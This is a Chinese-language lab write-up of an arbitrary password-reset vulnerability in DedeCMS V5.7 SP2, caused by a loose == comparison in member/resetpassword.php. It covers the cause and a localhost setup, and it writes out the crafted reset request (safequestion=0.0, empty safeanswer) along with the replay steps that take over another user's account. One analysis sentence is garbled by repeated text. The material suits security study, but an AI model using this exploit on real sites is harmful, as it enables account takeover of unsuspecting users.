一、漏洞说明
织梦内容管理系统(DeDeCMS)以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统,它在多年的发展中取得了显著进步,无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国,DedeCMS被认为是最受欢迎的CMS系统之一。但是,最近发现该系统的一个漏洞位于member/resetpassword.php文件中。由于未对接收的参数safeanswer进行严格的类型判断,攻击者可以利用弱类型比较来绕过安全措施。
DeDecms V5.7SP2正式版存在一个未修复的漏洞,允许任意用户密码重置。漏洞位于member/resetpassword.php文件中,因未对传入的参数safeanswer进行严格类型检查,导致可使用弱类型比较绕过。在代码分析中,当 d o p o s t 等于 s a f e q u e s t i o n 时,通过传入的 dopost等于safequestion时,通过传入的 dopost等于safequestion时,通过传入的mid查询用户信息,判断安全问题和答案是否匹配。由于使用 == 而不是 ===,可绕过判断。当安全问题值为0,答案值为空,经过弱类型处理后仍可通过判断。
二、搭建环境
织梦CMS V5.7PS2靶场蓝奏云下载:https://wwti.lanzouj.com/iQirO15gp8fg
访问https://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads进行安装(直接继续)
点继续
登录后台
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/dede/login.php?gotopage=%2FDedeCMS-V5.7-UTF8-SP2%2Fuploads%2Fdede%2F
往下翻点确定即可
登录首页
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/index.php?upcache=1
三、漏洞复现
1.注册测试账号
先注册两个测试账号,以用户名作为密码
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/index_do.php?fmdo=user&dopost=regnew
2.登录账号
登录账号,在个人主页那里利用漏洞
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/
3.抓包访问
url后面输入
resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=2 运行重置密码链接(2是在后台看到的那个对应的账户编号。)
4.重放获取key
发送到重放。重放几次后会看到一个key,如下图
5.访问临时链接
然后我们访问这个修改临时密码的链接,会直接跳转到修改密码界面
注意这个链接需要手动删除2个amp;
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP2/uploads/member/resetpassword.php?dopost=getpasswd&id=2&key=cSDrs9tm
6.修改密码
输入新密码,比如admin,然后登录试下,发现登录成功,数据库里查到的也是admin
漏洞利用成功